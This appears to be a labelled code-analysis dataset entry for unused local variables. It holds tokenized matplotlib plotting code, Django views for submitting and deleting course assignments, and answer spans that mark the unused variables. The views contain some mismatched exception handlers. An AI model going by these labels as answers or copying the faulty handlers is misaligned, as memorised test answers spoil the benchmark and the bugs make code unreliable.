"under", "_", "(_", "'", "b", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "limit", "s1_", "=_", "list_", "(_", "limit", "s1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "limit", "s2_", "=_", "list_", "(_", "limit", "s2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "all", "\\u", "base_", "=_", "np_", "._", "column", "\\u", "stack_", "(_", "(_", "ipa", "rr_", "._", "ravel_", "(_", ")_", ",_", "input", "arr_", "._", "ravel_", "(_", ")_", ")_", ")_", "._", "ravel_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "limit", "s1_", "[_", "0_", "]_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "limit", "s1_", "[_", "0_", "]_", "=_", "mlab_", "._", "prc", "tile_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "all", "\\u", "base_", ",_", "1._", "/_", "all", "\\u", "base_", "._", "size_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "limit", "s1_", "[_", "1_", "]_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "limit", "s1_", "[_", "1_", "]_", "=_", "mlab_", "._", "prc", "tile_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "all", "\\u", "base_", ",_", "100_", "-_", "1._", "/_", "all", "\\u", "base_", "._", "size_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "limit", "s2_", "[_", "0_", "]_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "limit", "s2_", "[_", "0_", "]_", "=_", "mlab_", "._", "prc", "tile_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "diff", "ed_", "._", "ravel_", "(_", ")_", ",_", "1._", "/_", "all", "\\u", "base_", "._", "size_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "limit", "s2_", "[_", "1_", "]_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "limit", "s2_", "[_", "1_", "]_", "=_", "mlab_", "._", "prc", "tile_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "diff", "ed_", "._", "ravel_", "(_", ")_", ",_", "100_", "-_", "1._", "/_", "all", "\\u", "base_", "._", "size_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "del_", "all", "\\u", "base_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ims", "how", "\\u", "kwargs_", "=_", "dict_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "interpolation_", "=_", "'", "near", "est", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "aspect_", "=_", "'", "auto", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "cmap_", "=_", "cm_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "norm_", "=_", "matplotlib_", "._", "colors_", "._", "Normalize", "_", "(_", "*_", "limit", "s1_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "extent_", "=_", "extent_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "origin_", "=_", "'", "lower", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "modif", "y", " ", "kwarg", "s", " ", "for", " ", "diff", "ed", " ", "(", "by", " ", "chang", "ing", " ", "the", " ", "normaliza", "tion", ")_", "\\u\\u\\uNL\\u\\u\\u_", "diff", "ed", "\\u", "kwargs_", "=_", "ims", "how", "\\u", "kwargs_", "._", "copy_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "diff", "ed", "\\u", "kwargs_", "[_", "'", "norm", "'_", "]_", "=_", "matplotlib_", "._", "colors_", "._", "Normalize", "_", "(_", "*_", "limit", "s2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "IP_", "\\u\\u\\uNL\\u\\u\\u_", "mapp", "able", "1_", "=_", "ax1_", "._", "imshow_", "(_", "ipa", "rr_", "[_", "sort", "\\u", "ind_", ",_", ":_", "]_", ",_", "**_", "ims", "how", "\\u", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "input_", "\\u\\u\\uNL\\u\\u\\u_", "mapp", "able", "2_", "=_", "ax2_", "._", "imshow_", "(_", "input", "arr_", "[_", "sort", "\\u", "ind_", ",_", ":_", "]_", ",_", "**_", "ims", "how", "\\u", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "diff", "ed_", "\\u\\u\\uNL\\u\\u\\u_", "mapp", "able", "3_", "=_", "ax3_", "._", "imshow_", "(_", "(_", "diff", "ed_", ")_", "[_", "sort", "\\u", "ind_", ",_", ":_", "]_", ",_", "**_", "diff", "ed", "\\u", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "IP", " ", "and", " ", "input", " ", "line", " ", "plot", " ", "with", " ", "vertical", " ", "line_", "\\u\\u\\uNL\\u\\u\\u_", "ax4", "_", "._", "plot_", "(_", "x_", ",_", "input", "arr_", "._", "mean_", "(_", "axis_", "=_", "0_", ")_", ",_", "color_", "=_", "'", "k", "'_", ",_", "linestyle_", "=_", "'--'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "label_", "=_", "'", "input", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ax4", "_", "._", "plot_", "(_", "x_", ",_", "ipa", "rr_", "._", "mean_", "(_", "axis_", "=_", "0_", ")_", ",_", "color_", "=_", "'", "k", "'_", ",_", "label_", "=_", "'", "ip", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ax4", "_", "._", "axvline_", "(_", "0_", ",_", "color_", "=_", "'", "k", "'_", ",_", "linestyle_", "=_", "':'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Diff", "ed", " ", "line", " ", "plot", " ", "with", " ", "vertical", " ", "line_", "\\u\\u\\uNL\\u\\u\\u_", "ax", "5_", "._", "plot_", "(_", "x_", ",_", "diff", "ed_", "._", "mean_", "(_", "axis_", "=_", "0_", ")_", ",_", "'", "k", "'_", ",_", "label_", "=_", "'", "enrichment", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ax", "5_", "._", "axvline_", "(_", "0_", ",_", "color_", "=_", "'", "k", "'_", ",_", "linestyle_", "=_", "':'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Color", "bars_", "\\u\\u\\uNL\\u\\u\\u_", "cba", "r1_", "=_", "fig_", "._", "colorbar_", "(_", "mapp", "able", "1_", ",_", "cax", "1_", ",_", "orientation_", "=_", "'", "horizon", "tal", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cba", "r2_", "=_", "fig_", "._", "colorbar_", "(_", "mapp", "able", "3_", ",_", "cax", "2_", ",_", "orientation_", "=_", "'", "horizon", "tal", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fig_", "._", "add", "\\u", "axes_", "(_", "cax", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fig_", "._", "add", "\\u", "axes_", "(_", "cax", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "labeling", "..._", "\\u\\u\\uNL\\u\\u\\u_", "ax1_", "._", "set\\u", "ylabel_", "(_", "'", "features", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plt_", "._", "setp_", "(_", "ax2_", "._", "get", "\\u", "yticklabels_", "(_", ")_", ",_", "visible_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plt_", "._", "setp_", "(_", "ax3_", "._", "get", "\\u", "yticklabels_", "(_", ")_", ",_", "visible_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ax4", "_", "._", "set\\u", "xlabel_", "(_", "'", "bp", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ax4", "_", "._", "set\\u", "ylabel_", "(_", "'", "mean", " ", "reads", " ", "per", " ", "milli", "on", " ", "mapp", "ed", " ", "reads", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ax", "5_", "._", "set\\u", "xlabel_", "(_", "'", "bp", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cax", "1_", "._", "set\\u", "xlabel_", "(_", "'", "Read", "s", " ", "per", " ", "milli", "on", " ", "mapp", "ed", " ", "reads", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cax", "2_", "._", "set\\u", "xlabel_", "(_", "'", "Enr", "ich", "ment", " ", "(", "RPM", "MR", ")'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "prefix_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "prefix_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ax1_", "._", "set\\u", "title_", "(_", "'%", "s", " ", "IP", "'_", "%_", "prefix_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ax2_", "._", "set\\u", "title_", "(_", "'%", "s", " ", "input", "'_", "%_", "prefix_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ax3_", "._", "set\\u", "title_", "(_", "'", "Difference", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "diff", "ed", " ", "line", " ", "plot", " ", "shou", "ld", " ", "have", " ", "y", " ", "ax", " ", "on", " ", "right_", "\\u\\u\\uNL\\u\\u\\u_", "ax", "5_", "._", "yaxis_", "._", "set\\u", "tick", "s", "\\u", "position_", "(_", "'", "right", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ax", "5_", "._", "yaxis_", "._", "set\\u", "label", "\\u", "position_", "(_", "'", "right", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ax", "5_", "._", "set\\u", "ylabel_", "(_", "'", "enrich", "ed", " ", "reads", " ", "per", " ", "milli", "on", " ", "mapp", "ed", " ", "reads", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Legend", "s_", "\\u\\u\\uNL\\u\\u\\u_", "ax4", "_", "._", "legend_", "(_", "loc_", "=_", "'", "best", "'_", ",_", "frame", "on_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ax", "5_", "._", "legend_", "(_", "loc_", "=_", "'", "best", "'_", ",_", "frame", "on_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Make", " ", "sure", " ", "every", "body", " ", "snaps", " ", "to", " ", "xmi", "n", "/", "xmax_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "ax_", "in_", "[_", "ax1_", ",_", "ax2_", ",_", "ax3_", ",_", "ax4", "_", ",_", "ax", "5_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ax_", "._", "axis_", "(_", "xmin_", "=_", "extent_", "[_", "0_", "]_", ",_", "xmax_", "=_", "extent_", "[_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "hline", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "hline", "s_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "vlin", "es_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "vlin", "es_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "ax_", "in_", "[_", "ax1_", ",_", "ax2_", ",_", "ax3_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "pos_", ",_", "kwargs_", "in_", "hline", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ax_", "._", "axh", "line_", "(_", "pos_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "pos_", ",_", "kwargs_", "in_", "vlin", "es_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ax_", "._", "axvline_", "(_", "pos_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "fig_", "._", "subplot", "s", "\\u", "adjust_", "(_", "bottom_", "=_", "0.05_", ",_", "top_", "=_", "0.95_", ",_", "hspace", "_", "=_", "0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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
AcademicsToday/py-academicstoday/academicstoday_project/student/views/assignment.py
[ { "content": "@login_required()\ndef delete_assignment(request, course_id):\n response_data = {'status' : 'failed', 'message' : 'unknown error with deletion'}\n if request.is_ajax():\n if request.method == 'POST':\n assignment_id = int(request.POST['assignment_id'])\n course = Course.objects.get(id=course_id)\n student = Student.objects.get(user=request.user)\n assignment = Assignment.objects.get(assignment_id=assignment_id)\n\n # Set 'is_finished' to false to indicate we need to take the\n # assignment all over.\n try:\n submission = AssignmentSubmission.objects.get(\n student=student,\n assignment=assignment,\n )\n submission.is_finished = False\n submission.save()\n except AssignmentSubmission.DoesNotExist:\n return HttpResponse(json.dumps({\n 'status' : 'failed',\n 'message' : 'record does not exist'\n }), content_type=\"application/json\")\n\n # Delete all previous entries.\n try:\n e_submissions = EssaySubmission.objects.filter(question__assignment=assignment, student=student)\n e_submissions.delete()\n except EssayQuestion.DoesNotExist:\n pass\n try:\n mc_submissions = MultipleChoiceSubmission.objects.filter(question__assignment=assignment, student=student)\n mc_submissions.delete()\n except MultipleChoiceSubmission.DoesNotExist:\n pass\n try:\n tf_submissions = TrueFalseSubmission.objects.filter(question__assignment=assignment, student=student)\n tf_submissions.delete()\n except tf_submissions.DoesNotExist:\n pass\n try:\n r_submissions = ResponseSubmission.objects.filter(question__assignment=assignment, student=student)\n r_submissions.delete()\n except ResponseQuestion.DoesNotExist:\n pass\n\n response_data = {'status' : 'success', 'message' : 'assignment was deleted'}\n return HttpResponse(json.dumps(response_data), content_type=\"application/json\")", "metadata": "root.delete_assignment", "header": "['module', '___EOS___']", "index": 173 }, { "content": "@login_required()\ndef submit_e_assignment_answer(request, course_id, assignment_id):\n response_data = {'status' : 'failed', 'message' : 'error submitting'}\n if request.is_ajax():\n if request.method == 'POST':\n # Extract parameters from post\n question_id = int(request.POST['question_id'])\n try:\n file = request.FILES[\"file\"]\n except:\n response_data = {'status' : 'failed', 'message' : 'missing file'}\n return HttpResponse(json.dumps(response_data), content_type=\"application/json\")\n \n # Fetch from database\n course = Course.objects.get(id=course_id)\n student = Student.objects.get(user=request.user)\n assignment = Assignment.objects.get(assignment_id=assignment_id)\n\n # Fetch question and error if not found.\n try:\n question = EssayQuestion.objects.get(\n assignment=assignment,\n question_id=question_id,\n )\n except MultipleChoiceQuestion.DoesNotExist:\n response_data = {'status' : 'failed', 'message' : 'cannot find question'}\n return HttpResponse(json.dumps(response_data), content_type=\"application/json\")\n\n try:\n submission = EssaySubmission.objects.get(\n student=student,\n question=question,\n )\n except EssaySubmission.DoesNotExist:\n submission = EssaySubmission.objects.create(\n student=student,\n question=question,\n )\n submission.file = file\n submission.save()\n response_data = {'status' : 'success', 'message' : 'submitted'}\n\n# form = EssaySubmissionForm(instance=submission, files=request.FILES)\n# if form.is_valid():\n# form.save() # Save the form contents to the model\n# response_data = {'status' : 'success', 'message' : 'submitted'}\n# else:\n# response_data = {'status' : 'failed', 'message' : json.dumps(form.errors)}\n return HttpResponse(json.dumps(response_data), content_type=\"application/json\")", "metadata": "root.submit_e_assignment_answer", "header": "['module', '___EOS___']", "index": 224 }, { "content": "@login_required()\ndef submit_mc_assignment_answer(request, course_id, assignment_id):\n if request.is_ajax():\n if request.method == 'POST':\n # Extract parameters from post\n question_id = int(request.POST['question_id'])\n answer = request.POST['answer']\n \n # Fetch from database\n course = Course.objects.get(id=course_id)\n assignment = Assignment.objects.get(assignment_id=assignment_id)\n student = Student.objects.get(user=request.user)\n \n # Fetch question and error if not found.\n try:\n question = MultipleChoiceQuestion.objects.get(\n assignment=assignment,\n question_id=question_id,\n )\n except MultipleChoiceQuestion.DoesNotExist:\n response_data = {'status' : 'failed', 'message' : 'cannot find question'}\n return HttpResponse(json.dumps(response_data), content_type=\"application/json\")\n\n # Fetch submission and create new submission if not found.\n try:\n submission = MultipleChoiceSubmission.objects.get(\n student=student,\n question=question,\n )\n except MultipleChoiceSubmission.DoesNotExist:\n submission = MultipleChoiceSubmission.objects.create(\n student=student,\n question=question,\n )\n\n # Save answer\n if answer == 'A':\n submission.a = not submission.a\n if answer == 'B':\n submission.b = not submission.b\n if answer == 'C':\n submission.c = not submission.c\n if answer == 'D':\n submission.d = not submission.d\n if answer == 'E':\n submission.e = not submission.e\n if answer == 'F':\n submission.f = not submission.f\n submission.save()\n \n # Caclulate score\n total = 6\n correct = 0\n if submission.a == submission.question.a_is_correct:\n correct += 1;\n if submission.b == submission.question.b_is_correct:\n correct += 1;\n if submission.c == submission.question.c_is_correct:\n correct += 1;\n if submission.d == submission.question.d_is_correct:\n correct += 1;\n if submission.e == submission.question.e_is_correct:\n correct += 1;\n if submission.f == submission.question.f_is_correct:\n correct += 1;\n\n # If all choices have been correctly selected, then give full credit.\n if total == correct:\n submission.marks = submission.question.marks\n else:\n submission.marks = 0\n submission.save()\n \n # Return success results\n response_data = {'status' : 'success', 'message' : 'submitted'}\n return HttpResponse(json.dumps(response_data), content_type=\"application/json\")\n\n response_data = {'status' : 'failed', 'message' : 'error submitting'}\n return HttpResponse(json.dumps(response_data), content_type=\"application/json\")", "metadata": "root.submit_mc_assignment_answer", "header": "['module', '___EOS___']", "index": 275 }, { "content": "@login_required()\ndef submit_tf_assignment_answer(request, course_id, assignment_id):\n if request.is_ajax():\n if request.method == 'POST':\n # Extract parameters from post\n question_id = int(request.POST['question_id'])\n answer = request.POST['answer']\n \n # Fetch from database\n course = Course.objects.get(id=course_id)\n assignment = Assignment.objects.get(assignment_id=assignment_id)\n student = Student.objects.get(user=request.user)\n\n # Fetch question and error if not found.\n try:\n question = TrueFalseQuestion.objects.get(\n assignment=assignment,\n question_id=question_id,\n )\n except MultipleChoiceQuestion.DoesNotExist:\n response_data = {'status' : 'failed', 'message' : 'cannot find question'}\n return HttpResponse(json.dumps(response_data), content_type=\"application/json\")\n\n # Fetch submission and create new submission if not found.\n try:\n submission = TrueFalseSubmission.objects.get(\n student=student,\n question_id=question_id,\n )\n except TrueFalseSubmission.DoesNotExist:\n submission = TrueFalseSubmission.objects.create(\n student=student,\n question_id=question_id,\n )\n\n # Process the answer\n submission.answer = answer == \"true\"\n submission.save()\n \n # Calculate the marks\n if submission.answer == submission.question.answer:\n submission.marks = submission.question.marks\n else:\n submission.marks = 0\n submission.save()\n\n response_data = {'status' : 'success', 'message' : 'submitted'}\n return HttpResponse(json.dumps(response_data), content_type=\"application/json\")", "metadata": "root.submit_tf_assignment_answer", "header": "['module', '___EOS___']", "index": 356 }, { "content": "@login_required()\ndef submit_r_assignment_answer(request, course_id, assignment_id):\n if request.is_ajax():\n if request.method == 'POST':\n # Extract parameters from post\n question_id = int(request.POST['question_id'])\n answer = request.POST['answer']\n \n # Fetch from database\n course = Course.objects.get(id=course_id)\n assignment = Assignment.objects.get(assignment_id=assignment_id)\n student = Student.objects.get(user=request.user)\n \n # Fetch question and error if not found.\n try:\n question = ResponseQuestion.objects.get(\n assignment=assignment,\n question_id=question_id,\n )\n except ResponseQuestion.DoesNotExist:\n response_data = {'status' : 'failed', 'message' : 'cannot find question'}\n return HttpResponse(json.dumps(response_data), content_type=\"application/json\")\n \n # Fetch submission and create new submission if not found.\n try:\n submission = ResponseSubmission.objects.get(\n student=student,\n question_id=question_id,\n )\n except ResponseSubmission.DoesNotExist:\n submission = ResponseSubmission.objects.create(\n student=student,\n question_id=question_id,\n )\n \n # Process the answer\n # Return success results\n submission.answer = answer\n submission.save()\n \n response_data = {'status' : 'success', 'message' : 'submitted'}\n return HttpResponse(json.dumps(response_data), content_type=\"application/json\")", "metadata": "root.submit_r_assignment_answer", "header": "['module', '___EOS___']", "index": 406 }, { "content": "@login_required()\ndef submit_assignment(request, course_id, assignment_id):\n if request.is_ajax():\n if request.method == 'POST':\n # Fetch from database\n course = Course.objects.get(id=course_id)\n assignment = Assignment.objects.get(assignment_id=assignment_id)\n student = Student.objects.get(user=request.user)\n\n # Defensive Code: Prevent submitting assignment with missing questions\n #TODO: IMPL\n\n # Fetch submission and create new submission if not found.\n try:\n submission = AssignmentSubmission.objects.get(\n student=student,\n assignment=assignment,\n )\n except AssignmentSubmission.DoesNotExist:\n submission = AssignmentSubmission.objects.create(\n student=student,\n assignment=assignment,\n )\n submission.is_finished = True\n submission.save()\n \n # Compute the final score of the assignment\n compute_score(student, assignment, submission)\n \n response_data = {'status' : 'success', 'message' : 'submitted'}\n return HttpResponse(json.dumps(response_data), content_type=\"application/json\")", "metadata": "root.submit_assignment", "header": "['module', '___EOS___']", "index": 450 } ]
[ { "span": "course ", "start_line": 179, "start_column": 12, "end_line": 179, "end_column": 18 }, { "span": "course ", "start_line": 238, "start_column": 12, "end_line": 238, "end_column": 18 }, { "span": "course ", "start_line": 284, "start_column": 12, "end_line": 284, "end_column": 18 }, { "span": "course ", "start_line": 365, "start_column": 12, "end_line": 365, "end_column": 18 }, { "span": "question ", "start_line": 371, "start_column": 16, "end_line": 371, "end_column": 24 }, { "span": "course ", "start_line": 415, "start_column": 12, "end_line": 415, "end_column": 18 }, { "span": "question ", "start_line": 421, "start_column": 16, "end_line": 421, "end_column": 24 }, { "span": "course ", "start_line": 455, "start_column": 12, "end_line": 455, "end_column": 18 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "login", "\\u", "required_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "delete", "\\u", "assignment_", "(_", "request_", ",_", "course", "\\u", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response", "\\u", "data_", "=_", "{_", "'", "status", "'_", ":_", "'", "fail", "ed", "'_", ",_", "'", "message", "'_", ":_", "'", "unknown", " ", "error", " ", "with", " ", "deletion", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "request_", "._", "is", "\\u", "ajax_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "request_", "._", "method_", "==_", "'", "POST", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assign", "ment", "\\u", "id_", "=_", "int_", "(_", "request_", "._", "POST_", "[_", "'", "assign", "ment", "\\u", "id", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "course_", "=_", "Course_", "._", "objects_", "._", "get_", "(_", "id_", "=_", "course", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "student_", "=_", "Student_", "._", "objects_", "._", "get_", "(_", "user_", "=_", "request_", "._", "user_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assignment_", "=_", "Assignment_", "._", "objects_", "._", "get_", "(_", "assign", "ment", "\\u", "id_", "=_", "assign", "ment", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Set", " ", "'", "is", "\\u", "finish", "ed", "'", " ", "to", " ", "fal", "se", " ", "to", " ", "indicat", "e", " ", "we", " ", "need", " ", "to", " ", "take", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "assign", "ment", " ", "all", " ", "over", "._", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "submission_", "=_", "Assign", "ment", "Submission_", "._", "objects_", "._", "get_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "student_", "=_", "student_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "assignment_", "=_", "assignment_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "submission_", "._", "is", "\\u", "finished_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "submission_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Assign", "ment", "Submission_", "._", "Do", "es", "Not", "Exist_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Http", "Response_", "(_", "json_", "._", "dumps_", "(_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "fail", "ed", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "'_", ":_", "'", "record", " ", "doe", "s", " ", "not", " ", "exist", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", ",_", "content", "\\u", "type_", "=_", "\"", "applica", "tion", "/", "json", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Delete", " ", "all", " ", "previ", "ous", " ", "entri", "es", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "e\\u", "submissions_", "=_", "Ess", "ay", "Submission_", "._", "objects_", "._", "filter_", "(_", "question", "\\u\\u", "assignment_", "=_", "assignment_", ",_", "student_", "=_", "student_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "e\\u", "submissions_", "._", "delete_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Ess", "ay", "Question_", "._", "Do", "es", "Not", "Exist_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mc", "\\u", "submissions_", "=_", "Multipl", "e", "Choi", "ce", "Submission_", "._", "objects_", "._", "filter_", "(_", "question", "\\u\\u", "assignment_", "=_", "assignment_", ",_", "student_", "=_", "student_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mc", "\\u", "submissions_", "._", "delete_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Multipl", "e", "Choi", "ce", "Submission_", "._", "Do", "es", "Not", "Exist_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 